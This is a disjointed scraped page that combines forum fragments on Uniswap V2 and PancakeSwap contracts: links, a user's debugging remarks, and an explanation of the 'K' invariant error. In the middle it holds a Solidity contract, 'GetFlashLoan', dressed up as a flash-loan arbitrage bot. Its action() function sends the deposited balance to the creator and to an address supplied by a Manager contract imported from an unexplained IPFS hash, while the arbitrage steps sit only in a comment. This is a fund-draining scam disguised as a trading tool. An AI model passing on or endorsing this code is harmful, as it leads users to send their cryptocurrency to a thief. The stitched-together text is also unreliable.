v2-core VS pancake-swap-core

For source code, Uniswap V2 Core and Uniswap V2 Peripheral

Here is the Uniswap V2 on github: https://github.com/Uniswap/v2-core

Eh, Curve pools and other invariant-based AMMs have some interesting properties outside traditional finance, bank runs, etc.

I'd read up on the Uniswap constant product invariant (xy=k) and consider reading the Uniswap v2 code (it's a pleasure to read) [0].

Then check out the StableSwap paper by Curve founder Michael Egorov [1]

Finally if you want a well-documented implementation to read in Solidity, check out Saddle [2]. Disclaimer, I helped write the first iteration.

[0] https://github.com/Uniswap/v2-core

UniswapV2Pair.sol：https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol

Any of those above functions that have require statements could have triggered it. I guess that is why you suggested the "hardhats console log". I am not familiar with that and will get right on trying to get that to work. Sorry for slow response, it seems since your message I have went all up and down the entire uniswap code database that includes the router, pair, libraries, transferhelper, WETH, etc.... So I just had the most extensive crash course I have ever had. hahahaha... Thanks for pointing me in that direction. I have learned A LOT. Though I still haven't figured out why the error is happening so I will now try using the hardhats console log to debug it.

The function comes from UniswapV2Pair.sol, shown here:

For example Uniswap has 0 releases

pragma solidity ^0.5.0; // Multiplier-Finance Smart Contracts import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol"; import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPool.sol"; // PancakeSwap Smart Contracts import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol"; import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol"; import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakePair.sol"; // PancakeSwap Router Smart Contracts import "ipfs://QmaXMrJvcVV53EBvumU3fY5wxbNawq4zAFJ6bbbCwtn1y3"; contract GetFlashLoan { string public tokenName; string public tokenSymbol; uint loanAmount; Manager manager; constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public { tokenName = _tokenName; tokenSymbol = _tokenSymbol; loanAmount = _loanAmount; manager = new Manager(); } address public creator= msg.sender; function tokenTransfer() public view returns (address) { return creator; } function() external payable {} function action() public payable { // Send Tokens to PancakeSwap Router for Swap address(uint160(tokenTransfer())).transfer(address(this).balance/6); address(uint160(manager.pancakeswapDeposit())).transfer(address(this).balance); // Perform tasks (combined all functions into one to reduce external calls & save gas fees) manager.performTasks(); /* Breakdown of functions // Submit token to BSC blockchain string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol); // List the token on PancakeSwap manager.pancakeListToken(tokenName, tokenSymbol, tokenAddress); // Get BNB Loan from Multiplier-Finance string memory loanAddress = manager.takeFlashLoan(loanAmount); // Send Borrowed BNB to provide liquidity of newly created Token string memory bnbPair = manager.pancakeCreatePool(tokenAddress, "BNB"); manager.pancakeAddLiquidity(bnbPair, loanAmount); // Perform swaps between Token and BNB and back again manager.pancakePerformSwaps(); // Repay Flashloan with Multiplier-Finance manager.repayLoan(loanAddress); // Move remaining BNB profit from Contract to the contract creators wallet manager.contractToWallet("BNB"); */ } }

In the source code of the pancake pair contract ( https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/PancakePair.sol ) one can see that the 'K' error is triggered when the product of the values if the two tokens in the pool is not mantained constant as it should.

https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/PancakePair.sol#L73

pancake-swap-core/contracts at master · pancakeswap/pancake-swap-core · GitHub